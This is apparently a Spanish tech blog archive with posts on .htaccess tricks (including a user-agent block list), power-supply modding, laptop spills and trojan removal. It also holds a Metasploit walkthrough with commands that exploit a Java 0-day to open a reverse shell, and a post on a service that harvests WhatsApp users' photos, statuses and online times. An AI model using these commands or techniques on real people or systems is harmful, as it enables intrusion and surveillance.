Mrobles

15 trucos .htaccess para webmasters

2013-03-25T07:16:00.002-07:00

Los archivos .htaccess (Archivo de Acceso de Hipertexto) es una herramienta de configuración muy potente en el servidor web Apache. El servidor web Apache tiene un número de opciones de configuración que están disponibles para el administrador del servidor. El htaccess. es un simple archivo de texto ASCII situado en el directorio raíz del sitio Web. Podemos puede crear y modificar un archivo. htaccess con un editor de texto como el bloc de notas.

Aquí, en esta entrada del blog les dejo 16 útiles consejos y trucos para el .htaccess para configurar su servidor web.
Como un archivo .htaccess es muy potente y un error de sintaxis en su configuración ligera puede provocar un mal funcionamiento grave en el servidor. Para evitar esto aconsejamos mantener una copia de seguridad de todos tus archivos desde el servidor antes de trabajar con el archivo htaccess.
1. Crear paginas de error personalizadas
Creación de una página de error personalizado con. htaccess en Apache Linux es una tarea muy sencilla. Con un editor de texto (Para windows Notepad ++ para Linux gedit) editamos nuestro archivo .htaccess. Podemos dar a las paginas de error diseños personalizados con el fin de atrapar a los visitantes que llegan a nuestro sitio web después dar clic en un enlace roto.

ErrorDocument 401 /error/401.php
ErrorDocument 403 /error/403.php
ErrorDocument 404 /error/404.php
ErrorDocument 500 /error/500.php

2. Configurar la zona horaria en el servidor
SetEnv TZ America/Houston
3. Bloquear direcciones IP Utilizando htaccess
En algún momento debemos evitar que determinadas IP accedan a nuestro sitio. Esta tarea es bastante simple. Todo lo que debemos hacer es poner el siguiente código dentro nuestro archivo htaccess.

allow from all
deny from 145.186.14.122
deny from 124.15

Cuando alguien intenta acceder a su sitio desde una IP prohibida este recibirá un mensaje de error 403 de acceso prohibido (403 error access forbidden).
4. Redirecciones 301
Redirecciones permanentes para mover enlaces antiguos o rotos

Redirect 301 /d/file.html http://www.htaccesselite.com/r/file.html

5. Establecer un correo electronico para el administrador del servidor
El uso de este código se puede especificar la dirección de correo electrónico por defecto para el administrador del servidor.

ServerSignature EMail
SetEnv SERVER_ADMIN default@domain.com

6. Protección Hotlinking con htaccess
Es muy importante porque cualquier persona que realece un enlace a las imágenes de nuestro sitio web consumira nuestro ancho de banda de su servidor. El siguiente código nos ayudará a prevenir eso.

Options +FollowSymlinks
# Protect Hotlinking
RewriteEngine On
RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !^http://(www.)?domainname.com/ [nc]
RewriteRule .*.(gif|jpg|png)$ http://domainname.com/img/hotlink_f_o.png [nc]

7. Bloquear todas las solicitudes de agente de usuario.
mediante la creación de un perfecto lista de prohibición de htaccess, puedes impedir que todos los agentes de usuario no deseados que mantendrá su carga en el servidor abajo. También puedes ver este hilo interesante sobre el mundo webmaster acerca de Thea 228 lista de usuarios de la prohibición de los agentes.

## .htaccess Code :: BEGIN
## Block Bad Bots by user-Agent
SetEnvIfNoCase user-Agent ^FrontPage [NC,OR]
SetEnvIfNoCase user-Agent ^Java.* [NC,OR]
SetEnvIfNoCase user-Agent ^Microsoft.URL [NC,OR]
SetEnvIfNoCase user-Agent ^MSFrontPage [NC,OR]
SetEnvIfNoCase user-Agent ^Offline.Explorer [NC,OR]
SetEnvIfNoCase user-Agent ^[Ww]eb[Bb]andit [NC,OR]
SetEnvIfNoCase user-Agent ^Zeus [NC]

Order Allow,Deny
Allow from all
Deny from env=bad_bot

## .htaccess Code :: END

8. Redirigir todas IP hacia otros sitios.
Si deseamos redirigir todos los visitantes a una IP diferente. Y tambien dar acceso a otras ip a nuestro sitio web, el siguiente codigo les permitira realizar dichas acciones.

ErrorDocument 403 http://www.youdomain.com
Order deny,allow
Deny from all
Allow from 124.34.48.165
Allow from 102.54.68.123

9. No mostrar solicitud de descarga con Htaccess
Por lo general, cuando intenta descargar un archivo desde un servidor Web, quien recibe la solicitud tambien recibe un mensaje de pregunta si desea guardar el archivo o abrirlo. Si deseamos que dicha confirmacion no aparezca en los usuarios clientes podemos utilizar el siguiente código en el archivo. htaccess.

AddType application/octet-stream .pdf
AddType application/octet-stream .zip
AddType application/octet-stream .mov

10. Cambiar el tipo de archivo con htaccess
Hacer que cualquier archivo de un cierto tipo de archivo como por ejemplo image.jpg, index.html, default.cgi por medio de esta propiedad htaccess podemos hacerlos pasar como si tubieran extencion php.

ForceType application/x-httpd-php
SetHandler application/x-httpd-php

11. Bloquear el acceso a nuestro archivo .htaccess
Mediante la adición de que el siguiente código a nuestro archivo htaccess evitaremos intentos de acceso a este archivo. Esta capa adicional de seguridad protege su htaccess mostrando un mensaje de error 403 en el navegador.

# seguridad para nuestro archivo htaccess
Â order allow,deny
Â deny from all

12. Proteger el acceso a ciertos archivos específicos en el servidor
Esto se puede hacer añadiendo el código de abajo mencionados. Por ejemplo, si deseamos bloquear algun archivo con el nombre default.jpg Esto evitará que la visualización de este archivo.

# prevenir acceso a ciertos archivos
Â order allow,deny
Â deny from all

13. Impedir el acceso a la navegación no autorizada
Este es un truco muy util con nustro archivo .htaccess nos ayuda a impedir que los agentes o usuarios puedan ver todos los documentos en un determinado directorio.

# deshabilitar navegacion por directorios
Options All -Indexes

14. Configuración de la página por defecto
Podemos configurar la página predeterminada de un directorio. Por ejemplo, en el código de la página por defecto se establece como lugar de about.html en lugar de index.html

# alternativa para pagina principal
DirectoryIndex about.html

15. Proteger con contraseña los directorios y archivos.
Podemos crear una autenticación para el acceso a determinados archivos y directorios. El código tiene ejemplos de la protección de contraseña de un solo archivo y protección de contraseña para un carpeta entero.

# proteger un archivo 

AuthType Basic
AuthName “Prompt”
AuthUserFile /home/path/.htpasswd
Require valid-user


# proteger con contraseña un directorio
resides
AuthType basic
AuthName “This directory is protected”
AuthUserFile /home/path/.htpasswd
AuthGroupFile /dev/null
Require valid-user

Mod Fuente alimentacion

2013-03-06T00:55:00.003-08:00

¿En que gastar el tiempo? Para mí la respuesta vino una noche de febrero, en la cual se me ocurrió dejar el PC bajando … bajando las r.p.m. de la cpu y de la gpu, donde, en el silencio de la noche, apareció un gran enemigo: el ventilador de la fuente de poder .

En un principio opté por reducir las rpm del ventilador de la fuente, pero me di cuenta que se calentaba demasiado al usar mucho el PC. Se me ocurrió poner encima de la rejilla trasera un ventilador que encontré por ahí, trabajando a la mitad de su potencial para no “deleitarme” con esos decibeles . Fue en ese momento cuando una luz proveniente del cielo iluminó mi mente , ¿Por qué no incorporar otro ventilador y poner ambos en línea para que don decibelios no nos deleite? Jejeje…

Vamos al grano:

    Ingredientes

    · Fuente de Poder víctima

    · Fuente de Poder de Repuesto

    · Torno Multipropósito (Dremel, PowerTools, Bauker, Karson, o similar)

    · Discos de Corte (2 o más)

    · Disco de Desbaste

    · Pintura Spray

    · Laca Acrílica

    · Acrílico o Metacrilato

    · Cinta Adhesiva de Papel (Maskingtape)

    · Papel Calco

    · Guantes de Trabajo

    · Gafas de Seguridad

    · ..Y hartas ganas de modear

Comencemos.

Lo primero que debemos hacer es sacar todos los circuitos de la fuente de poder (evidentemente después de desenchufarla y retirarla), para lo cual tendremos que retirar los 4 o 5 tornillos que afirman el pcb del circuito, retirar el ventilador y sacar la conexión a corriente. Aquí nos encontramos con la primera piedra de este camino.

Para retirar la conexión de corriente se puede hacer de 2 maneras: la primera es desoldando los cables, anotando previamente la posición en que se encontraban los cables, se imaginarán lo engorroso del sistema, pero si alguien lo quiere hacer, que lo haga .

La otra manera, es como lo hice yo: primero desatornillaremos la conexión, el selector de voltaje y el switch I/O si es que estuviese, luego procederemos a cortar con el dremel, con mucho cuidado, por el medio la lata que se encuentra en el selector de voltaje, nos quedará algo así:

Obviamente corté esa lata cuando aún se encontraba todo adentro. Como se puede observar, la rejilla original del ventilador la retiré, para así poder bajar un poco el ruido que se produce por el paso del aire.

Luego debemos marcar utilizando la cinta adhesiva de papel y el papel calco (primero imprimí una matriz de ventilador de 80mm), en el lugar donde luego se instalará un nuevo ventilador.

Queda algo como esto:
[IMAGEN PROXIMAMENTE XD]

A continuación nos dirigiremos a nuestro “taller” para poder cortar sin problemas.

Comenzemos a cortar:

Tip: ojo, cuando cortamos con dremel una superficie de metal, salen muchas chispas y también se genera mucho calor en el metal cortado, es por eso que recomiendo como obligación usar gafas de seguridad (pueden ser unos de sol que ya no usen) y guantes de trabajo (esos que tienen gomitas en un lado del guante)

Para que no nos quede chueco el corte, en primera instancia sólo marcaremos con el disco de corte la zona marcada, quedando algo como esto:

Luego, y con mucha paciencia, nos pondremos a cortar todo el circulo, cuidando de no hacer movimientos bruscos con el disco y sin ejercer mucha presión.

Luego de cortar, tendremos algo como esto:
[IMAGEN PROXIMAMENTE XD]

A continuación retiramos el papel adhesivo y con un disco de desbaste nos pondremos a repasar el corte recién realizado para sacar virutas e imperfecciones:

Queda así:
[IMAGEN PROXIMAMENTE XD]

Aquí una vista de cómo se verá pronto:
[IMAGEN PROXIMAMENTE XD]

Hasta aquí se supone que quedaba el modding, pero me dije “¿por que no una ventanita? ”

Jejeje… así que me puse manos a la obra utilizando el mismo procedimiento anterior para el corte:

Luego de que está todo cortado, tenemos dos opciones:

La pintamos o no......?????

Obviamente que me decidí por pintarla. Para pintarla se usa el mismo principio de pintura que utilizamos siempre que queremos pintar nuestra caja o monitor, por lo que no entraré en mayores detalles.

Sin embargo, esta vez al pintar se me ocurrió una idea macabra… pintar las latas de la fuente y las metí al horno como se aprecia a continuación:
[IMAGEN PROXIMAMENTE XD]

Veremos los pro y contra de utilizar esta técnica:

En los puntos a favor, se encuentra el hecho de que la pintura se adhiere de manera muy firme a la lata, por lo que cualquier pintura nos serviría como un imprimante.

Otro punto a favor, es que reducimos drásticamente el período de secado de la pintura, por lo que luego de 30-45 minutos aprox., podemos volver a pintar sin tener ningún tipo de problema.

Entre los puntos en contra tenemos principalmente el olor, que no es mucho pero igual se siente, pero el olor se pasa cuando la pintura está completamente seca.

El otro punto en contra, y por el cual decidí no utilizar este método para las pinturas definitivas, es que la pintura se “envejece” o sea, se pone amarillenta, esto ocurre principalmente por que estas pinturas en spray no están dirigidas para ser secadas en un horno, caso opuesto a lo que ocurre con las pinturas acrílicas o de poliuretano que se utilizan en la industria automovilística.

Aquí podemos ver como queda el color amarillento al pintar parte de la lata con la MISMA pintura con la que fue pintada antes de meterse al horno, claramente observamos la diferencia:
[IMAGEN PROXIMAMENTE XD]

La nueva idea fue hacer una ventanita de acrílico para poder observar el interior de nuestra fuente, sin embargo, no tenia ningún pedazo de acrílico disponible en mi casa y no tenía presupuestado gastar plata en uno tampoco . Fue entonces que me acordé que hace algún tiempo alguien de occl había hecho una ventana al lector de CD usando una tapa de caja de CD, si tal como lees, la tapa de una caja de CD’s

Me puse en campaña de buscar una caja que no tuviese la tapa quebrada ni muy rayada, aunque si está rayada no importa, ya explicaré más adelante como saltar ese problema .

Tomamos las medidas del acrílico que necesitamos y procedemos a marcar nuestra tapa.

Para cortar el acrílico sólo debemos disponer de un alicate de punta y un corta cartón (o tip-top), primero hacemos unos cortes en las marcas con el corta cartón:

Luego, y con mucho cuidado, con el alicate de punta empezaremos a doblar la parte exterior de donde hemos hecho la marca, repetimos el procedimiento en cada uno de los lados del acrílico.

Así me quedó a mí:
[IMAGEN PROXIMAMENTE XD]

Podemos ver claramente que un lado está sin rayas y el otro si, bueno, como les dije anteriormente, si el acrílico está rayado no tenemos problema, sólo debemos usar un poco de cera para autos (o pasta de pulir) para poder borrar las rayas, untamos un poco de cera en un algodón y empezamos a hacer movimientos circulares, tenemos que hacer exactamente lo mismo que cuando enceramos el auto , es exactamente el mismo procedimiento.

Ahora que ya tenemos todo listo, vamos a armar nuestra fuente, primero empezaremos con el pcb y luego con el ventilador principal.

El acrílico se puede fijar de varias maneras, pero yo opté por usar silicona caliente porque es más práctica que cualquier otra cosa.

Luego debemos instalar el enchufe de corriente de la fuente, el selector de voltaje y el switch de encendido. En un principio di una técnica sobre como sacar estos artilugios sin necesidad de desoldar, sin embargo la pintura quedó tan perfecta que preferí desoldar el enchufe, cuidando de no olvidar el orden de los cables, y también tuve que desoldar el switch de encendido

Aquí vemos instalados el enchufe, el switch, el selector de voltaje y el ventilador secundario:
[IMAGEN PROXIMAMENTE XD]

Luego ordenamos lo más que se pueda, los cables interiores y ponemos la tapa en su lugar:
[IMAGEN PROXIMAMENTE XD]

Aquí observamos la instalación final:
[IMAGEN PROXIMAMENTE XD]

Bueno, eso sería todo. Ojalá este granito de arena les ayude con sus proyectos futuros.

Saludos y suerte a todos los que se atrevan

Cualquier aporte, consulta, críticas, felicitaciones, etc., serán bien recibidas

Cualquiera puede ver tu foto de perfil en Whatsapp

2013-01-30T13:34:00.000-08:00

Me temo que voy a realizar mi incursión en SbD con un post sobre Whatsapp, un tema muy tocado en SbD, pero no es para menos ya que la aplicación siempre ha dado que hablar desde su nacimiento. Hoy os traigo un juguete nuevo que nos ayudará a sacarle partido a todo lo que ya sabemos acerca de Whatsapp, y esperemos que también sirva como herramienta de concienciación del usuario promedio.

Estas pasadas navidades decidí, junto a berni69 (creador del famoso airwin), unir fuerzas y conocimientos para condensar en una web todo lo comentado en estas líneas, de manera que fuera fácil de comprender, de compartir y de usar, que tuviera impacto visual para la gente y que fuera sobre todo concienciadora y didáctica. De esta idea nace WhatsappVoyeur.

Whatsappvoyeur es un servicio web que permite a cualquier persona, incluso sin el uso de teléfono movil, obtener todos los datos de perfil de un determinado usuario de Whatsapp. En el momento de escribir estas líneas somos capaces de proporcionar los siguientes:

Foto de perfil a tamaño real y fácil de descargar a disco como cualquier imagen de una web
Frase de estado o "status quote"
Último momento en que el usuario cambió la "status quote"
Último momento en que el usuario apareció conectado en la red

Con ello pretendemos realizar la prueba de los siguientes conceptos y aplicaciones prácticas:

Determinar si un usuario te ha bloqueado en Whatsapp (cotejando datos con tu movil)
Capturar la foto de perfil a tamaño real (con mas detalle de lo que la gente cree cuando las elige)
Controlar la actividad de un determinado usuario (controlar si está o no conectado)
Demostrar que los datos de todos son quasi-públicamente accesibles debido a las políticas de Whatsapp (solo hace falta estar autenticado dentro de Whatsapp - la web conecta a Whatsapp usando conjuntos de credenciales válidas que hemos creado para la ocasión)

A los ojos de un seguidor de SbD, WaV no es más que una herramienta cómoda para hacer pruebas de concepto, curiosear y jugar un poco, pero como he dicho antes todo está pensado especialmente para concienciar y facilitar la experiencia del usuario menos avezado, con textos muy explicativos del concepto, así como una interfaz vistosa pero simple y fácil de usar, con "responsive design" para adaptarse tanto a móviles como PCs.

Mi experiencia con un grupo de pruebas de estos usuarios es positiva y les ha ayudado a entender la poca protección de sus datos en Whatsapp, y esa es precisamente la intención.

Tanto Berni69 como un servidor esperamos que os guste y que la utilicéis para ~~jugar y curiosear ;)~~ concienciar a los usuarios de estos temas tan importantes, ya que si la gente supiera que su foto de perfil en Whatsapp es prácticamente pública, se lo pensarían mas antes de ponerse fotos como esta...

WTF!

O igual no, ¿quién sabe? hay gente para todo... ;)

¿Cómo y por qué funciona WhatsappVoyeur?

Antes de nada debo rememorar uno de los problemas de Whatsapp que ya fué comentado aquí: los datos del perfil de los usuarios de Whatsapp eran completamente accesibles al público, mediante una simple consulta a una url. Ni siquiera era necesario entrar en la red interna de Whatsapp propiamente dicha.

Gracias al script de Alejandro Ramos pudimos practicar el harvesting de todas las cuentas de Whatsapp de España, saber que por aquel entonces sumábamos casi 10 millones de usuarios, y tener sus "status quotes" en una base de datos. Todo ello, sin esfuerzo, sin más límite que el de nuestra paciencia, sin siquiera necesitar credenciales válidas de Whatsapp.

Desde el punto de vista de arquitectura, modelo de datos y privacidad, es de lo mas "braindead" que se puede perpetrar.

Pues bien, el 9 de enero, Whatsapp realizó un nuevo cambio en el protocolo de comunicaciones, con la intención de resolver este asunto: han desaparecido de sus servidores los archivos PHP contra los que podíamos hacer un query usando simplemente wget, curl o un navegador regular.

Adiós a "https://sro.whatsapp.net/client/iphone/iq.php"

En su lugar, implementaron un protocolo de intercambio de datos de los contactos. A este protocolo le llamaremos "Contact Sync V2", tal como ha dado en llamarle el egipcio Tarek Galal, creador de la API yowsup. Dicho protocolo está colocado donde siempre debió estar: debajo de la capa de sesión. Los datos devueltos por este nuevo conjunto de comandos son muy parecidos a los que devolvía el famoso archivo iq.php, con la salvedad de que ahora es necesario estar autenticado contra el servidor de Whatsapp para poder enviar esos comandos.

Seguramente el lector pensará:

¡Bien! ¡Ya tenemos una mejora! Nuestros datos personales de Whatsapp ya no son públicamente accesibles...

...bueno, pues no. Pensemos por un momento en el modelo de datos de Whatsapp, en las reglas bajo las que han definido dicho modelo: una de las características más inseguras del protocolo Whatsapp y de las relaciones entre sus usuarios es que "quien no está explícitamente bloqueado está implícitamente permitido". Cualquier persona que añada nuestro número de teléfono a su agenda puede ver nuestra foto de perfil, nuestra "frase de estado" y controlar en todo momento si estamos conectados, o cuánto tiempo hace que lo estuvimos por última vez. Y todo esto nos está sucediendo sin que nosotros podamos hacer absolutamente nada por evitarlo, en tanto en cuanto el individuo que nos "controla" no nos envíe un mensaje que delate su presencia (ese es otro tema: esta política permite que un usuario nos envíe un mensaje sin que lo "aceptemos" previamente como contacto. Podremos bloquearlo, pero ya nos ha molestado. Para aplicaciones de spam puede ser rentable cambiar de número cada vez y seguir molestando...)

Pero hay más. No es solo un asunto de mi privacidad como individuo (que un headhunter, un responsable de RRHH, mi ex pareja o mi jefe puedan controlarme a mí, como persona elegida arbitrariamente, desde números que desconozco y de los cuales yo no puedo defenderme). También es un asunto de privacidad como elemento de una masa. Es decir, que aún es posible realizar un "harvesting" masivo de los datos de los usuarios, tal como hizo en su día Alejandro Ramos, con tan solo añadir dos elementos nuevos: unas credenciales de usuario de Whatsapp válidas (muy fáciles de obtener) y la adaptación al nuevo protocolo "Contact Sync V2" (cosa que Tarek Galal nos proporciona con su API yowsup, que no tardó en actualizar para reflejar los cambios). Nosotros en WhatsappVoyeur simplemente ofrecemos una interfaz ágil para usar la API y unas credenciales secretas para consultar cualquier número sin que nos puedan bloquear.

Uno puede pensar que, ahora que se nos piden credenciales para obtener los datos de los contactos, Whatsapp podría realizar un control del número de querys por usuario/tiempo...

...bueno, pues tampoco. He realizado stress testing y he validado hasta 700 contactos a un ritmo de 30-40 contactos por minuto. Demasiados. También he obtenido las fotos de perfil de los usuarios comprendidos en un rango de 30.000 números de teléfono. Y ya habeis visto más arriba una prueba del espectáculo, entre dantesco y divertido, que eso puede llegar a suponer...

Conclusión

El protocolo "Contact Sync V2" apenas implica una mejora real en la protección de nuestros datos de perfil en Whatsapp. Solo coloca una barrera de autenticación frente al exterior, pero no nos protege de otros usuarios autenticados en el interior; no nos protege como individuos porque las políticas en sí mismas no lo hacen (deficiencia de diseño), y tampoco nos protegen del "harvesting" masivo porque, si bien el protocolo "Contact Sync V2" proporciona una base técnica para impedirlo, no se le ha sacado partido aún.

Las políticas del tipo "lo que no está explícitamente prohibido, está implícitamente permitido" siempre deben ser implementadas con mucho cuidado, pero cuando los nombres de usuario son números de teléfono móvil que cualquiera puede obtener y sondear, y cuando están en juego nuestras fotos y otros datos que pueden ser bastante sensibles... es una muy mala idea de base.

Y digo "de base" porque es un error de diseño en sí mismo. No es una deficiencia del protocolo de comunicaciones sino una deficiencia del modelo de datos y de su lógica inherente. Whatsapp debería cambiar muy profundamente la definición del modelo de datos y los procesos de integración con nuestra agenda en el teléfono, cosa que dudo mucho que tenga en mente hacer. Ante todo soy consultor tecnológico empresarial y sé que, lamentablemente, hay cosas que no son rentables en un contexto de negocio; sé lo duro e incontrolable que es tirar adelante una startup mientras luchas con el capital riesgo. Probablemente Whatsapp seguirá invirtiendo lo mínimo indispensable en materia de seguridad, y el 99% de su esfuerzo seguirá siendo el crecimiento de la base de usuarios y la búsqueda de monetización de los mismos. Pero desde el punto de vista del usuario, de su seguridad y su privacidad, opino que Whatsapp ha cometido un error desde el principio y ha excedido los límites razonables de controversia e inseguridad, cosa por la cual (entre otras como peor diseño y peor campaña de comunicación) caerá derrotado por alternativas como Spotbros o Line...

¿Qué hacer cuando se moja un Portátil?

2013-01-25T12:14:00.002-08:00

Qué hacer cuando se moja un Portátil

Acaba de finalizar diciembre, una fecha para estar mas cerca de los familiares y amigos, muchos tratamos de desconectarnos un poco de la vida online, pero cuando te apasiona la tecnología a veces es muy difícil desprenderte de ella, aunque ya no la uses para trabajar sino simplemente para divertirte o explicarle gráficamente a algún familiar curioso a que te dedicas…
No conocía la debilidad de mi portátil por la cerveza hasta el pasado diciembre, donde literalmente se tomó una botella entera de 330ml ~~(menos mal no fue una cerveza chilena)~~, cuando le conté a algunas personas sobre lo sucedido me animaron a escribir al respecto para que quede documentado el proceso por si a alguien más para por la misma situación y esa es la razón de este post.
Entonces te preguntaras…

¿Qué hacer cuando se moja un Portátil?

Estas son las recomendaciones que lograron salvarme de estrenar a la fuerza un nuevo macbook pro, están basadas en mi experiencia personal y no garantizo que pueda ayudar en todos los casos en que un portátil sea mojado.

Lo primero que debes hacer es apagar inmediatamente y a la fuerza si es necesario el portátil, si permite quitar la batería es recomendable hacerlo rápidamente, de esta forma disminuimos considerablemente el riesgo de un cortocircuito.
Con una toalla o algún elemento absorbente (preferiblemente que no desprenda nada), secar el portátil sosteniéndolo de forma elevada con el teclado mirando al suelo, esto para evitar que el liquido se esparza más y caiga mientras lo secamos gracias a la gravedad (ver imagen)

NO USES UN SECADOR, algunas personas lo recomiendan pero se que corres el riesgo de crear estática y generar un corto.
Deja secar el equipo varios días (mínimo 2), totalmente abierto con el teclado mirando al suelo, en un sitio que sea caluroso naturalmente, pero que no le de la luz del sol directamente (puede ser el cuarto más caliente de tu casa) o donde dejas secando tu ropa después de lavarla.

Con estos simples pasos he logrado recuperar mi portátil, esto por que reaccione rápidamente y pude evitar que el liquido inundara más la maquina, pero si no tienes resultados positivos con estos pasos, te recomiendo limpiar con agua destilada como se muestra en el siguiente vídeo (omitiendo la sugerencia de usar un secador).

Si aún no derramas liquido en tu portátil pero te gustaría saber que hacer en estos casos, aun estas a tiempo de:

Evitar tener liquidos cerca de tu portátil: por muy cómodo que sea, no mantengas líquidos cerca de tu equipo de trabajo, nunca se sabe cuando pueda ocurrir un accidente de este tipo y evitando los líquidos cerca puedes prevenirlos.
Comprar y ponerle a tu portátil un protector de teclado de silicona: en china son muy baratos con envió gratis y además de evitar que los líquidos lleguen a la board cuando se derraman encima, ayudan a mantener limpio el teclado dándole unos años mas de vida a tu portátil.
Compartir estos consejos con tus familiares y amigos: cuando realmente lo necesiten, no tendrán tiempo suficiente para buscar en internet que pasos seguir, comparte el conocimiento con ellos para que lo usen cuando sea necesario.

Espero que les sea útil este post y que no lo estén leyendo demasiado tarde.

Fuente

Exploiting New Java 0-day with Metasploit

2013-01-11T11:00:00.002-08:00

Se ha descubierto una nueva vulnerabilidad (0-day) en las versiones de Java 7 Update 10 y anteriores, que permite a un atacante ejecutar código arbitrario en cualquier sistema operativo que cuente con esta version de Java. Actualmente esta versión es la ultima actualización por lo tanto el 90% de los usuarios de Internet lo tienen instalado y el 50% de estos no tienen conocimiento sobre el riesgo que pueden estan corriendo.

Muy aparte, el equipo de Metasploit ha desarrollado un modulo que permite a un atacante vulnerar de una forma remota cualquier sistema operativo, ya sea Windows 8, 7, Vista y XP como tambien cualquier navegador ya sea Internet Explorer 10 y anteriores, Google Chorme, Firefox, Opera y Safari ya que tener instalado y habilitado Java en el ordenador esta se ejecuta totalmente en el sistema.

A continuacion se detallaran los procedimientos que un atacante realizara cuando desee vulnerar cualquier sistema operativo que contenga esta vulnerabilidad.

REQUERIMIENTOS:

BackTrack 5 R1 - R2 o R3 (Atacante)
Metasploit Framework (Atacante)
Windows XP - 7 - 8 (Victima)
Java 7 Update 10 (Victima)

PROCEDIMIENTOS:

En la terminal/consola tecleamos msfconsole y seguidamente ejecutamos los siguientes comandos:

-------------------------------------------------------------------------------------------------------------
use exploit/multi/browser/java_jre17_jmxbean
set payload java/shell_reverse_tcp
set lhost 192.168.1.33
set srvhost 192.168.1.33
set uripath /
exploit
-------------------------------------------------------------------------------------------------------------

Estos comandos crearan una URL con nuestra IP en la que contiene los archivos maliciosos que la victima tendrá que ejecutar desde su navegador, la cual metasploit enviara los siguientes archivos tratando de vulnerar el sistema:

Si nuestro exploit detecta que el sistema es vulnerable y los archivos enviados se logran ejecutar exitosamente en el navegador, esta devolverá una conexión entre nuestro ordenador y el sistema vulnerado.

CONCLUSIÓN:

Se recomienda a todos los usuarios desactivar totalmente el Java del sistema para no ser victima de estos ataques tan peligrosos que pueden comprometer nuestra informacion.

Saludos.

Referencia: http://calebbucker.blogspot.com.es
Referencia: http://www.metasploit.com/modules/exploit/multi/browser/java_jre17_jmxbean

Como librarte de un Troyano

2013-01-05T11:13:00.000-08:00

Este pequeño programa, (hecho cuando comenzó el furor del Back Orifice) se llama “MataProcesos” y es una pequeña utilidad que cumple la función que debería estar incluída en la ventana de CTRL-ALT-DEL. Curiosamente esta utilidad tan “pequeña” (ocupa 40 Kb y cumple una tarea muy sencilla) nos será de enorme ayuda con el tema de la seguridad.
Cuando uno ejecuta el MataProcesos un icono (una señal de STOP) se coloca en la barra de tareas. si queremos cerrar un programa rapidamente (alguno que se colgó, o de esos que no aparecen en el CTR-ALT-DEL, como por ejemplo UN BACKDOOR como el patch del NetBus, si es que algun “vivo” nos lo metió) haremos doble click en el STOP y se abrirá una ventana con un listado de todos los procesos reales que se están ejecutando en el momento, listados por nombre de archivo ejecutable.
Para cerrar (matar) un proceso, basta con hacer doble click en el item de la lista que lo representa, y responder que SI a la pregunta que MataProcesos nos hace cuando pide la confirmación.
Notemos que dije que con MataProcesos podemos matar a “todos los procesos”, lo cual incluye también a los procesos vitales del Windows, por lo que la primera vez, por falta de experiencia, podriamos “matar” al Windows mismo, obligándonos a reiniciar el ordenador.
Este programa es útil, por ejemplo, si estamos siendo víctima de un troyano, es decir, alguien nos está “molestando”, mostrando mensajes extraños en nuestra pantalla sin nuestra autorización, mostrandonos imágenes y abriendo y cerrando la bandeja de nuestro CD-ROM…

Usando el MataProcesos para sacarnos de un apuro
En ese caso, estamos frente a un auténtico “Lamer” (que vendría a ser algo así como un tonto que quiere ser Hacker y utiliza programas como el NetBus, Back Orifice, Sub Seven, Donald Dick o NetSphere para asustar o abusarse de los que no saben). ¿Cómo llegó hasta aquí este individuo? El, u otro similar a él, nos pasó un archivo EXE o SCR haciendonos creer que se trataba de algo muy interesante, y cuando (incautos) lo ejecutamos… probablemente no pasó nada, o algo no muy interesante que digamos… Pero en realidad lo que ocurrió fué que acabamos de instalar un “control remoto” para que este “Lamer” pueda controlar nuestro sistema a su antojo. Fuimos vilmente engañados. Ejecutamos, sin saberlo, un troyano.
Tenemos que apurarnos a quitarnoslo de encima, porque por el momento también tiene acceso a nuestros archivos, para robarlos o borrarlos.
El modo de usar el MataProcesos en este caso sería simplemente seleccionar el proceso adecuado (el del troyano) y terminarlo.
Cómo reconocemos al troyano? Bueno, suponiendo que la lista que MataProcesos nos muestra es la siguiente:
C:\WINDOWS\SYSTEM\KERNEL32.DLL
C:\WINDOWS\SYSTEM\MSGSVR32.EXE
C:\WINDOWS\SYSTEM\mmtask.tsk
C:\WINDOWS\EXPLORER.EXE
C:\WINDOWS\TASKMON.EXE
C:\WINDOWS\SYSTEM\SYSTRAY.EXE
C:\WINDOWS\PATCH.EXE
C:\WINDOWS\WINDOW.EXE
C:\WINDOWS\SYSTEM\ .EXE
C:\WINDOWS\SYSTEM\NSSX.EXE
C:\WINDOWS\RNAAPP.EXE
C:\WINDOWS\TAPISVR.EXE
C:\ARCHIVOS DE PROGRAMA\ICQ\ICQ.EXE
C:\ARCHIVOS DE PROGRAMA\OUTLOOK EXPRESS\MSIMN.EXE
C:\ARCHIVOS DE PROGRAMA\MATAPROCESOS\MATAPROCESOS.EXE
En este caso nos encontramos con un ordenador LLENO DE TROYANOS, es decir, su seguridad ha sido totalmente violada. ¿Cómo nos damos cuenta de eso?
Hace falta estar acostumbrado al MataProcesos, en otras palabras, saber el proceso que cada archivo está ejecutando.
Si tenemos en cuenta que es muy dificil que un troyano se instale en otro lado que no sea los directorios WINDOWS o SYSTEM, ya descartamos tres posibilidades (las tres últimas, pero es más seguro descartarlas cuando conocemos la función de cada una de ellas), veamos:
C:\ARCHIVOS DE PROGRAMA\ICQ\ICQ.EXE
es ni más ni menos que el ICQ, si lo matamos, se nos cierra el ICQ.
C:\ARCHIVOS DE PROGRAMA\OUTLOOK EXPRESS\MSIMN.EXE
se trata, como se podrán imaginar, del Outlook Express.
C:\ARCHIVOS DE PROGRAMA\MATAPROCESOS\MATAPROCESOS.EXE
este es tanto o más obvio que los anteriores, nosotros mismos acabamos de ejecutarlo.
También hay que conocer otros procesos comunes de Windows, ¿y cómo lo hacemos? si se trata de algunos de los que ya nombré, yo mismo voy a presentarselos, pero si son otros que no se mustran aquí, probablemente con el método de “prueba y error”.
Veamos:
C:\WINDOWS\SYSTEM\KERNEL32.DLL
Este es el “corazón” del Windows, si lo cerramos, tendremos que reiniciar.
C:\WINDOWS\SYSTEM\MSGSVR32.EXE
Este es una utilidad interna, si la cerramos el sistema probablemente pierda estabilidad.
C:\WINDOWS\SYSTEM\mmtask.tsk
Cerrar este es imposible. Siempre vuelve a aparecer. Tiene que ver con las tareas multimedia que el Windows realiza.
C:\WINDOWS\EXPLORER.EXE
Se trata del explorador. Gestiona tanto al Internet Explorer como al Windows Explorer. También gestiona la barra de tareas. Si lo cerramos se nos cierran estas tres cosas. (Generalmente se vuelve a ejecutar automáticamente)
C:\WINDOWS\TASKMON.EXE
Es el monitor de tareas de Windows. Si lo cerramos aparentemente no ocurre nada, pero no recomiendo cerrar procesos sin saber exactamente qué función cumplen, a menos que no nos moleste vernos obligados a reiniciar…
C:\WINDOWS\SYSTEM\SYSTRAY.EXE
Es el “parlantito” (la bocinita) que aparece en la barra de tareas, el programa que nos dá el control del volumen de sonidos de Windows. Si lo cerramos, el parlante (la bocina) desaparece.
